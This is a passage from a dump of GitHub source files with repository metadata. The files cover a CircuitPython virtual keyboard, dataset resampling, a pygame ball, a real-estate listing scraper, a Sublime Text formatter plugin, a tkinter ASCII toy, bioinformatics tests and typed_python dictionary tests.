filesystem\")\n print(tomlvar+\" not set to\",tomlval)\n else:\n envline = {}\n defaults = True\n try:\n envfile = open('/settings.toml')\n except:\n defaults = False\n\n if defaults:\n for line in envfile:\n try:\n envline[line.split('=')[0].strip()] = line.split('=')[1].strip()\n except:\n pass\n envfile.close()\n\n try:\n intval = (type(int(tomlval)) == int)\n except:\n intval = False\n\n with open('/settings.toml','w') as envfile:\n for param in envline:\n if param != tomlvar:\n envfile.write(param+\"=\"+envline.get(param,\"\")+\"\\n\")\n if intval:\n envfile.write(tomlvar+'='+str(tomlval))\n else:\n envfile.write(tomlvar+'=\"'+tomlval+'\"')\n\n def calibrate(self):\n\n self._ts_calib = []\n\n while self.virt_touched():\n pass\n\n font = terminalio.FONT\n color = 0xFFFFFF\n count = 5\n calibTxt1 = label.Label(font, text=\"Press the upper left/lower right box\", color=color)\n calibTxt1.x = 50\n calibTxt1.y = 100\n calibTxt1.scale = 3\n calibTxt2 = label.Label(font, text=\"Repeatedly until the counter reaches 0\", color=color)\n calibTxt2.x = 50\n calibTxt2.y = 140\n calibTxt2.scale = 3\n calibCount = label.Label(font, text=str(count), color=color)\n calibCount.x = 250\n calibCount.y = 200\n calibCount.scale = 4\n\n pal = displayio.Palette(1)\n pal[0] = 0xFFFFFF\n block = vectorio.Rectangle(pixel_shader=pal, width=10, height=10, x=0, y=0)\n block.x = 0\n block.y = 0\n\n calib_scr = displayio.Group()\n calib_scr.append(calibTxt1)\n calib_scr.append(calibTxt2)\n calib_scr.append(block)\n calib_scr.append(calibCount)\n\n self.display.root_group = calib_scr\n\n smallest_X = self.display.width\n smallest_Y = self.display.height\n largest_X = 1\n largest_Y = 1\n\n while count > 0:\n if self.virt_touched():\n point = self.touches[0]\n smallest_X = min(smallest_X,point[\"x\"])\n if self._swapYdir:\n largest_Y = max(largest_Y,point[\"y\"])\n else:\n smallest_Y = min(smallest_Y,point[\"y\"])\n count -= 1\n calibCount.text=str(count)\n\n while self.virt_touched():\n pass\n\n #smallest_X -= 5\n #smallest_Y -= 5\n\n block.x = self.display.width - 10\n block.y = self.display.height - 10\n\n count = 5\n calibCount.text=str(count)\n\n while count > 0:\n if self.virt_touched():\n point = self.touches[0]\n largest_X = max(largest_X,point[\"x\"])\n if self._swapYdir:\n smallest_Y = min(smallest_Y,point[\"y\"])\n else:\n largest_Y = max(largest_Y,point[\"y\"])\n count -= 1\n calibCount.text=str(count)\n\n while self.virt_touched():\n pass\n\n\n #largest_X += 5\n #largest_Y += 5\n\n self.updateTOML('PYDOS_TS_CALIB',\"(%s,%s,%s,%s)\"%(smallest_X,smallest_Y,largest_X,largest_Y))\n\n self.display.root_group=displayio.CIRCUITPYTHON_TERMINAL\n print(\"Screen Calibrated: (%s,%s) (%s,%s)\" % (smallest_X,smallest_Y,largest_X,largest_Y))\n return (smallest_X,smallest_Y,largest_X,largest_Y)\n\n def get_screensize(self):\n return (\n round(self.display.height/(terminalio.FONT.bitmap.height*displayio.CIRCUITPYTHON_TERMINAL.scale))-1,\n round(self.display.width/((terminalio.FONT.bitmap.width/95)*displayio.CIRCUITPYTHON_TERMINAL.scale))-2\n )\n\n def _identifyLocation(self,xloc,yloc):\n kbd_row = self._calibKB(self._kbd_row)\n if xloc > self._calibX(980) and yloc < self._calibY(85):\n retKey = \"\\n\"\n elif yloc < kbd_row+self._calibY(11):\n if xloc > self._calibX(980):\n retKey = \"C\"\n else:\n retKey = \"\"\n elif yloc > kbd_row+self._calibY(255): # 435\n retKey = self._row5Letters[next(a[0] for a in enumerate(self._row5Keys) if a[1]<=xloc)]\n elif yloc >= kbd_row+self._calibY(197): # 390\n retKey = self._row4Letters[next(a[0] for a in enumerate(self._row4Keys) if a[1]<=xloc)]\n elif yloc >= kbd_row+self._calibY(132): # 345\n retKey = self._row3Letters[next(a[0] for a in enumerate(self._row3Keys) if a[1]<=xloc)]\n elif yloc >= kbd_row+self._calibY(75): # 300\n retKey = self._row2Letters[next(a[0] for a in enumerate(self._row2Keys) if a[1]<=xloc)]\n else: # 255\n retKey = self._row1Letters[next(a[0] for a in enumerate(self._row1Keys) if a[1]<=xloc)]\n\n if retKey == 'S':\n if not self.SHIFTED:\n self.SHIFTED = True\n elif not self.CAPLOCK:\n self.SHIFTED = False\n retKey = ''\n elif retKey == 'L':\n self.CAPLOCK = not self.CAPLOCK\n self.SHIFTED = self.CAPLOCK\n retKey = ''\n elif retKey in 'XABCD' and retKey != \"\":\n retKey = '\\x00\\x01\\x02\\x03\\x04'['XABCD'.find(retKey)]\n\n if self.CAPLOCK:\n self.SHIFTED = True\n \n if len(retKey) != 0 and self.SHIFTED:\n self.SHIFTED = self.CAPLOCK\n \n if retKey.upper() != retKey:\n retKey = retKey.upper()\n else:\n if retKey in self._row1Letters:\n retKey = self._row1Uppers[self._row1Letters.index(retKey)]\n elif retKey in self._row2Letters[0:3]:\n retKey = self._row2Uppers[self._row2Letters.index(retKey)]\n elif retKey in self._row3Letters[0:3]:\n retKey = self._row3Uppers[self._row3Letters.index(retKey)]\n elif retKey in self._row4Letters[0:4]:\n retKey = self._row4Uppers[self._row4Letters.index(retKey)]\n\n return retKey\n \n def serial_bytes_available(self):\n self._touched = False\n if self.virt_touched():\n retval = 1\n self._touched = True\n else: \n # Does the same function as supervisor.runtime.serial_bytes_available\n retval = runtime.serial_bytes_available\n\n return retval\n\n def uart_bytes_available(self):\n # Does the same function as supervisor.runtime.serial_bytes_available\n retval = runtime.serial_bytes_available\n\n return retval\n\n def virt_touched(self):\n if self.ts.touched:\n if \"touches\" in dir(self.ts):\n self.touches = self.ts.touches\n self._touched = True\n else:\n self.touches = [self.ts.touch]\n if self.touches[0][\"pressure\"] >= 75:\n if len(self._ts_calib) == 4:\n transformedTouch = [{\n 'x': self.touches[0][\"y\"],\n 'y': (self._ts_calib[3]-self.touches[0][\"x\"]) + self._ts_calib[1],\n 'pressure': self.touches[0][\"pressure\"]\n }]\n else:\n transformedTouch = [{\n 'x': self.touches[0][\"y\"],\n 'y': self.touches[0][\"x\"],\n 'pressure': self.touches[0][\"pressure\"]\n }]\n self.touches = transformedTouch\n self._touched = True\n else:\n self.touches = []\n self._touched = False\n if self.touches != []:\n return True\n\n self._touched = False\n self.touches = []\n return False\n\n def read_keyboard(self,num,holdkeyb=False,keys=\"\",ec=None):\n # holdkeyb = True keeps the virtual keyboard displayed between calls\n # Until an enter or termination key is entered in read_virtKeyboard\n if not self._touched:\n self._touched = self.virt_touched()\n if self._touched:\n if self.touches[0]['x'] > self._calibX(980) and self.touches[0]['y'] < self._calibY(85):\n if self.display.root_group == self._kbd_group:\n self._keyedTxt.text = \"\"\n self.display.root_group = displayio.CIRCUITPYTHON_TERMINAL\n retVal = '\\n'\n else:\n retVal = self.read_virtKeyboard(num,keys,ec)\n if not holdkeyb:\n self._keyedTxt.text = \"\"\n self.display.root_group = displayio.CIRCUITPYTHON_TERMINAL\n if retVal == \"\":\n retVal = '\\n'\n else:\n retVal = stdin.read(num)\n\n return retVal\n \n def read_virtKeyboard(self,num=0,keys=\"\",ec=None):\n\n loop = True\n\n if self.display.root_group != self._kbd_group:\n self.display.root_group=self._kbd_group\n while self.virt_touched():\n pass\n self._touched = False\n #if num == 1:\n # loop = False\n\n self.SHIFTED = self.CAPLOCK\n self._shftIndicator.text = ('SHIFT' if self.SHIFTED else '')\n self._capsIndicator.text = ('LOCK' if self.CAPLOCK else '')\n\n keyString = \"\"\n keysPressed = 0\n while loop:\n if not self._touched:\n self._touched = self.virt_touched()\n if self._touched:\n point = self.touches[0]\n pressedKey = self._identifyLocation(point[\"x\"],point[\"y\"])\n \n if pressedKey == '\\x08':\n keyString = keyString[:-1]\n self._keyedTxt.text = keyString\n if num != 1:\n pressedKey = ''\n elif pressedKey == '\\n':\n if num == 0:\n pressedKey = ''\n loop = False\n elif pressedKey == '\\x00':\n keyString = \"\"\n loop = False\n\n keyString += pressedKey\n \n self._shftIndicator.text = ('SHIFT' if self.SHIFTED else '')\n self._capsIndicator.text = ('LOCK' if self.CAPLOCK else '')\n if len(pressedKey) != 0:\n if num != 0 and keys != \"\" and ec != None:\n txt = keys[:ec]+keyString+keys[ec:]\n if pressedKey == '\\x08':\n txt = txt[:ec-1]+txt[ec:]\n else:\n txt = keyString\n\n for i in range(8):\n txt = txt.replace('\\x1b\\n\\x00\\x01\\x02\\x03\\x04\\x08'[i],\"E\"[i:])\n\n self._keyedTxt.text = txt\n\n keysPressed += 1\n if num > 0 and keysPressed >= num:\n loop = False\n \n while self.virt_touched():\n pass\n self._touched = False\n\n time.sleep(0.0001)\n\n if num == 0 or keyString== \"\" or keyString[-1:] == '\\n' or keyString == '\\x00':\n self._keyedTxt.text = \"\"\n self.display.root_group = displayio.CIRCUITPYTHON_TERMINAL\n return keyString\n\nPydos_ui = PyDOS_UI()\n\ndef input(disp_text=None):\n\n if disp_text != None:\n print(disp_text,end=\"\")\n\n histPntr = len(Pydos_ui.commandHistory)\n\n keys = ''\n editCol = 0\n loop = True\n arrow = ''\n onLast = True\n onFirst = True\n blink = True\n timer = time.time()\n saved = timer-1\n\n while loop:\n #print(editCol,keys)\n if arrow == 'A' or arrow == 'B':\n if len(Pydos_ui.commandHistory) > 0:\n print(('\\x08'*(editCol))+(\" \"*(len(keys)+1))+('\\x08'*(len(keys)+1)),end=\"\")\n\n if arrow == 'A':\n histPntr -= 1\n else:\n histPntr += 1\n\n histPntr = histPntr % len(Pydos_ui.commandHistory)\n print(Pydos_ui.commandHistory[histPntr],end=\"\")\n keys = Pydos_ui.commandHistory[histPntr]\n editCol = len(keys)\n if editCol == 0:\n onFirst = True\n else:\n onFirst = False\n elif arrow == 'D':\n if len(keys) > editCol:\n print(keys[editCol:editCol+1]+\"\\x08\",end=\"\")\n elif editCol == len(keys):\n print(\" \\x08\",end=\"\")\n\n editCol = max(0,editCol-1)\n if editCol > 0:\n print('\\x08',end=\"\")\n onLast = False\n elif editCol == 0:\n if not onFirst:\n print('\\x08',end=\"\")\n onFirst = True\n elif arrow == 'C':\n if len(keys) > editCol:\n print(keys[editCol:editCol+1]+\"\\x08\",end=\"\")\n\n editCol += 1\n editCol = min(len(keys),editCol)\n if editCol < len(keys):\n print(keys[editCol-1:editCol],end=\"\")\n onFirst = False\n elif editCol == len(keys):\n if not onLast:\n print(keys[editCol-1:],end=\"\")\n onLast = True\n\n arrow = \"\"\n\n if Pydos_ui.serial_bytes_available():\n if Pydos_ui.uart_bytes_available():\n keys = keys[:editCol]+stdin.read(1)+keys[editCol:]\n editCol += 1\n if keys[editCol-1:editCol] == '\\x1b':\n keys = keys[:editCol-1]+keys[editCol:]\n arrow = stdin.read(2)[1]\n # arrow keys = up:[A down:[B right:[C left:[D\n else:\n keys = keys[:editCol]+Pydos_ui.read_keyboard(1,True,keys,editCol)+keys[editCol:]\n editCol += 1\n if keys[editCol-1:editCol] in '\\x01\\x02\\x03\\x04':\n arrow = 'ABCD'['\\x01\\x02\\x03\\x04'.find(keys[editCol-1:editCol])]\n keys = keys[:editCol-1]+keys[editCol:]\n\n if arrow != \"\":\n editCol -= 1\n elif keys[editCol-1:editCol] == '\\x08':\n keys = keys[:max(0,editCol-2)]+keys[editCol:]\n if editCol > 1:\n print(('\\x08'*(editCol-1))+keys+' \\x08\\x08',end=\"\")\n editCol = max(0,editCol-2)\n if editCol < len(keys):\n print(\"\\x08\"*(len(keys)-editCol),end=\"\")\n else:\n editCol -= 1\n onFirst = True\n elif keys[editCol-1:editCol] == '\\x00':\n if editCol > 1:\n print(('\\x08'*(editCol-1))+(' '*(len(keys)+2))+('\\x08'*(len(keys)+2)),end=\"\")\n keys = ''\n loop = False\n elif len(keys[editCol-1:editCol]) > 0 and keys[editCol-1:editCol] in '\\n\\r':\n if len(keys) > editCol:\n print(keys[editCol:editCol+1]+\"\\x08\",end=\"\")\n elif editCol == len(keys):\n print(\" \\x08\",end=\"\")\n keys = keys[:editCol-1]+keys[editCol:]\n if keys.strip() != \"\":\n Pydos_ui.commandHistory.append(keys)\n if len(Pydos_ui.commandHistory) > 10:\n Pydos_ui.commandHistory.pop(1)\n histPntr = len(Pydos_ui.commandHistory)\n print()\n loop = False\n else:\n onFirst = False\n print(keys[editCol-1:],end=\"\")\n if len(keys[editCol-1:]) > 1:\n print(\" \\x08\",end=\"\")\n if editCol < len(keys):\n print(\"\\x08\"*(len(keys)-editCol),end=\"\")\n\n if loop and Pydos_ui.display.root_group != displayio.CIRCUITPYTHON_TERMINAL:\n if time.time() != timer:\n blink = not blink\n timer = time.time()\n\n if timer != saved:\n saved = timer\n if blink:\n Pydos_ui._keyedTxt.text = keys[:editCol]+\"_\"+keys[editCol+1:]\n else:\n Pydos_ui._keyedTxt.text = keys\n\n return keys\n","repo_name":"RetiredWizard/PyDOS_virtkeyboard","sub_path":"lib/pydos_ui_virt.py","file_name":"pydos_ui_virt.py","file_ext":"py","file_size_in_byte":23810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16248214851","text":"import random\nimport numpy as np\nfrom scipy import stats\nfrom sklearn.neighbors import NearestNeighbors\n\n\nclass Sampling():\n \"\"\"\n Used to over/undersample a dataset. The dataset labels must be one-hot vectors, \n and there must be a majority class for undersampling to work. \n \"\"\"\n\n def __init__(self, oversample_rate=1., undersample_rate=1.):\n self.k = 5\n self.osr = oversample_rate\n self.usr = undersample_rate\n\n def __find_maj_class(self, labels):\n return stats.mode(labels)[0][0].tolist()\n\n def __undersample(self, data):\n data = np.stack(data)\n length = data.shape[0]\n return data[np.random.choice(length, int(length * self.usr), replace=False)]\n\n def __resample(self, data):\n data = np.stack(data)\n length = data.shape[0]\n return data[np.random.choice(length, int(length * self.osr), replace=True)]\n\n def __populate(self, num_syn, sample, nnarray):\n syn = []\n while num_syn > 0:\n new = []\n k = random.randint(0, self.k - 1)\n for attr in range(0, sample.shape[0]):\n dif = nnarray[k][attr] - sample[attr]\n gap = random.random()\n new.append(sample[attr] + (dif*gap))\n syn.append(new)\n num_syn -= 1\n return syn\n\n def __smote(self, data):\n nbrs = NearestNeighbors(n_neighbors=self.k+1,\n algorithm='ball_tree').fit(data)\n distance, indices = nbrs.kneighbors(data)\n num_syn = int(self.osr) - 1\n\n synthetic = []\n\n for i in range(0, len(data)):\n nnarray = []\n for k in range(1, self.k+1):\n nnarray.append(data[indices[i][k]])\n new_points = self.__populate(num_syn, data[i], nnarray)\n synthetic.extend(new_points)\n if len(synthetic) == 0:\n new_min = np.stack(data)\n else:\n synthetic = np.stack(synthetic)\n new_min = np.concatenate((data, synthetic), axis=0)\n return new_min\n\n def perform_sampling(self, data, labels, min_label=None):\n maj_label = self.__find_maj_class(labels)\n print(maj_label)\n maj_data = []\n min_data = []\n other_data = []\n other_labels = []\n for i in range(0, labels.shape[0]):\n l = labels[i].tolist()\n if l == maj_label:\n maj_data.append(data[i])\n else:\n if min_label is not None and l == min_label:\n min_data.append(data[i])\n else:\n other_data.append(data[i])\n other_labels.append(l)\n\n maj_data = self.__undersample(maj_data)\n min_data = self.__smote(min_data)\n data = np.concatenate((maj_data, min_data), axis=0)\n labels = np.concatenate((np.array(\n [maj_label] * maj_data.shape[0]), np.array([min_label] * min_data.shape[0])))\n return data, labels\n","repo_name":"drsphelps/PartIIProject","sub_path":"src/sampling.py","file_name":"sampling.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21825381086","text":"import pygame\n\nSCREEN_WIDTH = 1200\nSCREEN_HEIGHT = 600\n\nclass Ball():\n\tdef __init__(self, x, y, radius, color, velocity):\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.radius = radius\n\t\tself.color = color\n\t\tself.velocity = velocity\n\n\tdef draw(self, screen):\n\t\tpygame.draw.circle(screen, self.color, (self.x - self.radius, self.y - self.radius), self.radius)\n\n\tdef update(self, screen):\n\t\tself.draw(screen)\n\t\tself.x += self.velocity['x']\n\t\tself.y += self.velocity['y']\n\n\t\tif self.y - self.radius - 10 <= 0 or self.y - self.radius + 10 >= SCREEN_HEIGHT:\n\t\t\tself.velocity['y'] *= -1","repo_name":"gitKentdev/Python-AtariPongGame","sub_path":"Ball.py","file_name":"Ball.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41796906925","text":"# -*- coding: utf-8 -*-\r\nfrom scrapy import Spider, Request, FormRequest\r\nimport sys\r\nimport re, os, requests, urllib\r\nfrom scrapy.utils.response import open_in_browser\r\nimport time, datetime\r\nfrom shutil import copyfile\r\nimport json, re, random\r\nfrom realestate.items import RealestateItem\r\nfrom scrapy.conf import settings\r\n\r\ndef RepresentsInt(s):\r\n try:\r\n int(s)\r\n return True\r\n except ValueError:\r\n return False\r\n\r\nclass selogerSpider(Spider):\r\n name = \"location_etudiant\"\r\n start_url = 'https://en.location-etudiant.fr/residences-etudiantes-paris.html'\r\n domain1 = 'https://en.location-etudiant.fr'\r\n\r\n use_selenium = False\r\n count = 0\r\n pageIndex = 1\r\n totalpage= None\r\n custom_settings = {\r\n\t # 'CRAWLERA_ENABLED' : False,\r\n 'USER_AGENT': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',\r\n \"DOWNLOADER_MIDDLEWARES\":{\r\n # 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': 400,\r\n 'scrapy_crawlera.CrawleraMiddleware': 610,\r\n 'random_useragent.RandomUserAgentMiddleware': None\r\n }\r\n\t}\r\n\r\n def start_requests(self):\r\n yield Request(self.start_url, callback= self.parse, meta={\"next_count\": 1})\r\n\r\n def parse(self, response):\r\n urls = response.xpath('//div[@class=\"list\"]/article[not(@class=\"une\")]/div[@class=\"content\"]/h4/a/@href').extract()\r\n for url in urls:\r\n yield Request(response.urljoin(url), callback=self.final_parse)\r\n\r\n urls1 = response.xpath('//div[@class=\"list\"]/article[not(@class=\"une\")]/a/@href').extract()\r\n for url in urls1:\r\n yield Request(response.urljoin(url), callback=self.final_parse)\r\n\r\n\r\n # next_page_url = response.xpath('//*[@class=\"Pagination Pagination--more\"]/a[contains(text(), \"Suivante\")]/@href').extract_first()\r\n #\r\n # if next_page_url:\r\n # yield Request(response.urljoin(next_page_url), callback=self.parse, dont_filter=True)\r\n\r\n\r\n def final_parse(self, response):\r\n item = RealestateItem()\r\n\r\n item['online'] = 1\r\n item['website'] = self.name\r\n item['website_logo'] = 'https://en.location-etudiant.fr/images/logo.png'\r\n item['url'] = response.url\r\n item['description'] = response.xpath('//p[@itemprop=\"description\"]/text()').extract_first()\r\n item['title'] = response.xpath('//h1[@itemprop=\"name\"]/text()').extract_first()\r\n\r\n price = response.xpath('//div[@class=\"aPartirDe\"]/span/text()').re(r'[\\d.,]+')\r\n if price:\r\n try:\r\n price = ''.join(price)\r\n item['price'] = price.replace(',', '.')\r\n except:\r\n pass\r\n\r\n\r\n item['district'] = str(response.body).split('\"postalCode\":')[-1].split(',')[0].replace('\"', '')\r\n item['city'] = str(response.body).split('\"addressLocality\":')[-1].split(',')[0].replace('\"', '').strip().split(' ')[0]\r\n item['address'] = response.xpath('//span[@itemprop=\"addressLocality\"]/text()').extract_first()\r\n\r\n images = response.xpath('//div[@class=\"photoVignette\"]/img/@src').extract()\r\n image_urls = []\r\n for img in images:\r\n img = 'https://www.location-etudiant.fr' + img.replace('h=81&w=81', 'h=410&w=525')\r\n image_urls.append(img)\r\n item['images'] = ','.join(image_urls)\r\n\r\n if 'location' in response.url:\r\n item['rent_buy'] = 'rent'\r\n else:\r\n item['rent_buy'] = 'buy'\r\n\r\n self.count += 1\r\n print(\"Total Count: \" + str(self.count))\r\n\r\n yield item","repo_name":"aprosdev/realestate","sub_path":"realestate/spiders/location_etudiant.py","file_name":"location_etudiant.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"42126921377","text":"import sublime, sublime_plugin, textwrap\n\n# a simple object that keeps track of line content and its indentation\nclass line:\n def __init__(self, content, numCols):\n assert(type(content) == str or type(content) == unicode)\n assert(type(numCols) == int)\n\n self.numCols = numCols\n # get rid of any new-line or space characters at start/end of line\n self.content = content.rstrip().lstrip()\n \n num_indent_chars = len(content) - len(content.lstrip())\n self.indent = 0\n if (self.content == \"\"):\n return\n assert(num_indent_chars >= 0)\n \n # 1 tab == 4 spaces\n for i in range(num_indent_chars):\n if content[i] == \" \":\n self.indent = self.indent + 1\n elif content[i] == \"\\t\":\n self.indent = self.indent + 4\n else:\n assert(0)\n \n def format(self):\n if (self.content == \"\"):\n return \"\\n\"\n lines = textwrap.wrap(self.content, self.numCols - self.indent - 1)\n fmtted = \"\"\n\n # don't use tabs -- they aren't always rendered how we want in\n # various text fields\n for line in lines:\n fmtted = fmtted + (\" \" * int(self.indent))\n fmtted = fmtted + line + \"\\n\"\n \n return fmtted\n\n \n# Extends TextCommand so that run() receives a View to modify. \nclass FixedWidthCommand(sublime_plugin.TextCommand): \n def run(self, edit, numCols = 80):\n if (type(numCols) != int):\n numCols = int(numCols)\n \n # here, each region is a selected area of text\n for region in self.view.sel():\n if not region.empty(): \n listOfLines = self.getListOfLines(region)\n newRegionString = self.getReplacementString(listOfLines, numCols)\n self.view.replace(edit, region, newRegionString)\n\n \n def getReplacementString(self, listOfLines, numCols):\n newRegionString = \"\"\n for l in listOfLines:\n lineObj = line(l, numCols)\n formattedLine = lineObj.format()\n newRegionString = newRegionString + formattedLine\n\n # the line formatter appends a new line to the end of each line, which\n # should be removed from the end of each region. Otherwise, an extra\n # newline will be printed after each selected region\n if (newRegionString[-1] == '\\n'):\n newRegionString = newRegionString[0:-1]\n return newRegionString\n\n def getListOfLines(self, region):\n content = self.view.substr(region)\n return content.split('\\n')\n\n\n","repo_name":"nmiodice/Fixed-Column-Formatter--Sublime-Text-2-plugin-","sub_path":"FixedWidthFormatter/formatter.py","file_name":"formatter.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29969369599","text":"from tkinter import *\r\nroot = Tk()\r\n\r\nroot.title(\"ASCII Converter\")\r\nroot.geometry(\"400x200\")\r\nroot.configure(background=\"snow\")\r\n\r\nenter_word=Entry(root)\r\nenter_word.place(relx=0.5,rely=0.3,anchor=CENTER)\r\n\r\nlabel=Label(root,text=\"Name in ASCII: \")\r\ney_label=Label(root,text=\"Your Encrypted Name is: \")\r\n\r\ndef asciiconverter() :\r\n input_word = enter_word.get()\r\n \r\n for letter in input_word:\r\n label[\"text\"] += str(ord(letter)) + \" \"\r\n ascii_i=int(ord(letter))\r\n encrypted=ascii_i - 1\r\n ey_label[\"text\"] += str(chr(encrypted))\r\n \r\nbtn=Button(root,text=\"Show ASCII Name And Encrypted Value\",command=asciiconverter)\r\nbtn.place(relx=0.5,rely=0.5,anchor=CENTER)\r\nlabel.place(relx=0.5,rely=0.7,anchor=CENTER)\r\ney_label.place(relx=0.5,rely=0.9,anchor=CENTER)\r\n\r\nroot.mainloop()","repo_name":"Amanghithub/ASCII-CONVERTER","sub_path":"ascii.py","file_name":"ascii.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21018265414","text":"import sys\nimport os\nfrom os.path import join as ospj\nfrom nose.tools import assert_equal, ok_\nimport pandas as pd\nimport collections\n\nimport concoct.utils.dir_utils as dir_utils\n\nFILE_PATH = os.path.realpath(__file__)\nTEST_DIR_PATH = os.path.dirname(FILE_PATH)\nDATA_PATH = os.path.abspath(ospj(TEST_DIR_PATH, \"test_data\", \"scg_bins\"))\nTMP_DIR_PATH = ospj(TEST_DIR_PATH, 'nose_tmp_output')\nTMP_BASENAME_DIR = ospj(TMP_DIR_PATH, 'extract_scg_bins')\nSCRIPT_PATH = ospj(TEST_DIR_PATH, '..')\n\n# Add script dir to python path to import functions\nsys.path.append(SCRIPT_PATH)\nfrom extract_scg_bins import get_approved_bins, sum_bases_in_bins, \\\n get_winning_bins, write_approved_bins, main\n\nCWD = os.getcwd()\n\n\nclass TestDnaDiff(object):\n def setUp(self):\n \"\"\"Delete temporary dir if it exists then create it\"\"\"\n self.tearDown()\n dir_utils.mkdir_p(TMP_BASENAME_DIR)\n\n def tearDown(self):\n \"\"\"remove temporary output files\"\"\"\n #dir_utils.rm_rf(TMP_DIR_PATH)\n\n def test_get_approved_bins(self):\n \"\"\"Test get_approved_bins\"\"\"\n df = get_approved_bins(ospj(DATA_PATH, \"sample0_gt500_scg.tsv\"),\n max_missing_scg=2, max_multicopy_scg=4)\n assert_equal(2, int(df.Cluster))\n\n def test_sum_bases_in_bins(self):\n \"\"\"Test sum_bases_in_bins\"\"\"\n scg_tsv = ospj(DATA_PATH, \"sample0_gt500_scg.tsv\")\n b = sum_bases_in_bins(pd.read_csv(scg_tsv, sep=\"\\t\"),\n ospj(DATA_PATH, \"sample0_gt500.fa\"))\n assert_equal(12, b)\n df = get_approved_bins(ospj(DATA_PATH, \"sample0_gt500_scg.tsv\"),\n max_missing_scg=2, max_multicopy_scg=4)\n b = sum_bases_in_bins(df, ospj(DATA_PATH, \"sample0_gt500.fa\"))\n assert_equal(4, b)\n\n def test_get_winning_bins(self):\n \"\"\"Test get_winning_bins\"\"\"\n scg_tsvs = [ospj(DATA_PATH, p) for p in [\"sample0_gt300_scg.tsv\",\n \"sample0_gt500_scg.tsv\"]]\n fasta_files = [ospj(DATA_PATH, p) for p in [\"sample0_gt300.fa\",\n \"sample0_gt500.fa\"]]\n winning_index, df = get_winning_bins(scg_tsvs, fasta_files,\n max_missing_scg=2, max_multicopy_scg=4)\n assert_equal(1, winning_index)\n winning_index, df = get_winning_bins(list(reversed(scg_tsvs)),\n list(reversed(fasta_files)), max_missing_scg=2,\n max_multicopy_scg=4)\n assert_equal(0, winning_index)\n\n def test_write_approved_bins(self):\n \"\"\"Test write_approved_bins\"\"\"\n df = get_approved_bins(ospj(DATA_PATH, \"sample0_gt500_scg.tsv\"),\n max_missing_scg=2, max_multicopy_scg=4)\n assert_equal(2, int(df.Cluster))\n write_approved_bins(df, ospj(DATA_PATH, \"sample0_gt500.fa\"),\n TMP_BASENAME_DIR, \"sample0_gt500\")\n ok_(os.path.exists(ospj(TMP_BASENAME_DIR, \"sample0_gt500_bin2.fa\")))\n # make sure both have equal amount of records\n assert_equal(\n open(ospj(TMP_BASENAME_DIR, \"sample0_gt500_bin2.fa\")).read().count(\">\"),\n open(ospj(DATA_PATH, \"sample0_gt500_bin2.fa\")).read().count(\">\"))\n\n def test_find_best_per_group(self):\n fasta_files = [\n ospj(DATA_PATH, \"sample0_gt300.fa\"),\n ospj(DATA_PATH, \"sample0_gt500.fa\"),\n ]\n args = collections.namedtuple('Arguments', \" \".join([\"output_folder\",\n \"scg_tsvs\", \"fasta_files\", \"names\", \"max_missing_scg\",\n \"max_multicopy_scg\", \"groups\"]))\n groupargs = args(\n output_folder=TMP_BASENAME_DIR,\n scg_tsvs=[os.path.splitext(f)[0] + \"_scg.tsv\" for f in fasta_files],\n fasta_files=fasta_files,\n names=[os.path.splitext(os.path.basename(f))[0] for f in fasta_files],\n max_missing_scg=2,\n max_multicopy_scg=4,\n groups=(\"gt300\", \"gt500\")\n )\n main(groupargs)\n","repo_name":"jtamames/SqueezeMeta","sub_path":"bin/CONCOCT-1.1.0/scripts/tests/test_extract_scg_bins.py","file_name":"test_extract_scg_bins.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","stars":295,"dataset":"github-code","pt":"61"} +{"seq_id":"15764203274","text":"import time\nimport typed_python._types as _types\nimport unittest\n\nfrom flaky import flaky\nfrom typed_python import ConstDict, TupleOf, ListOf, Tuple, Compiled, Dict\nfrom typed_python import Entrypoint\n\n\ndictTypes = [\n ConstDict(str, str),\n ConstDict(int, str),\n ConstDict(int, int)\n]\n\n\ndef makeSomeValues(dtype, count=10):\n res = dtype()\n\n for i in range(count):\n if res.KeyType is str:\n k = str(i)\n else:\n k = i\n\n if res.ValueType is str:\n v = str(i)\n else:\n v = i\n res = res + {k: v}\n\n return res\n\n\nclass TestConstDictCompilation(unittest.TestCase):\n def test_const_dict_copying(self):\n for dtype in dictTypes:\n @Compiled\n def copyInOut(x: dtype):\n _ = x\n return x\n\n aDict = makeSomeValues(dtype)\n self.assertEqual(copyInOut(aDict), aDict)\n self.assertEqual(_types.refcount(aDict), 1)\n\n def test_const_dict_len(self):\n for dtype in dictTypes:\n @Compiled\n def compiledLen(x: dtype):\n return len(x)\n\n for ct in range(10):\n d = makeSomeValues(dtype, ct)\n self.assertEqual(len(d), compiledLen(d))\n\n def test_const_dict_getitem(self):\n for dtype in dictTypes:\n @Compiled\n def compiledGetItem(x: dtype, y: dtype.KeyType):\n return x[y]\n\n def callOrExpr(f):\n try:\n return (\"Value\", f())\n except Exception:\n return (\"Exception\", )\n\n d = makeSomeValues(dtype, 10)\n bigger_d = makeSomeValues(dtype, 20)\n\n for key in bigger_d:\n self.assertEqual(callOrExpr(lambda: d[key]), callOrExpr(lambda: compiledGetItem(d, key)))\n\n def test_const_dict_getitem_coercion(self):\n d = ConstDict(int, int)({1: 2})\n\n with self.assertRaises(TypeError):\n d.get(1.5)\n\n with self.assertRaises(TypeError):\n d[1.5]\n\n @Entrypoint\n def get(d, k):\n return d.get(k)\n\n @Entrypoint\n def getitem(d, k):\n return d[k]\n\n @Entrypoint\n def get_default(d, k, default):\n return d.get(k, 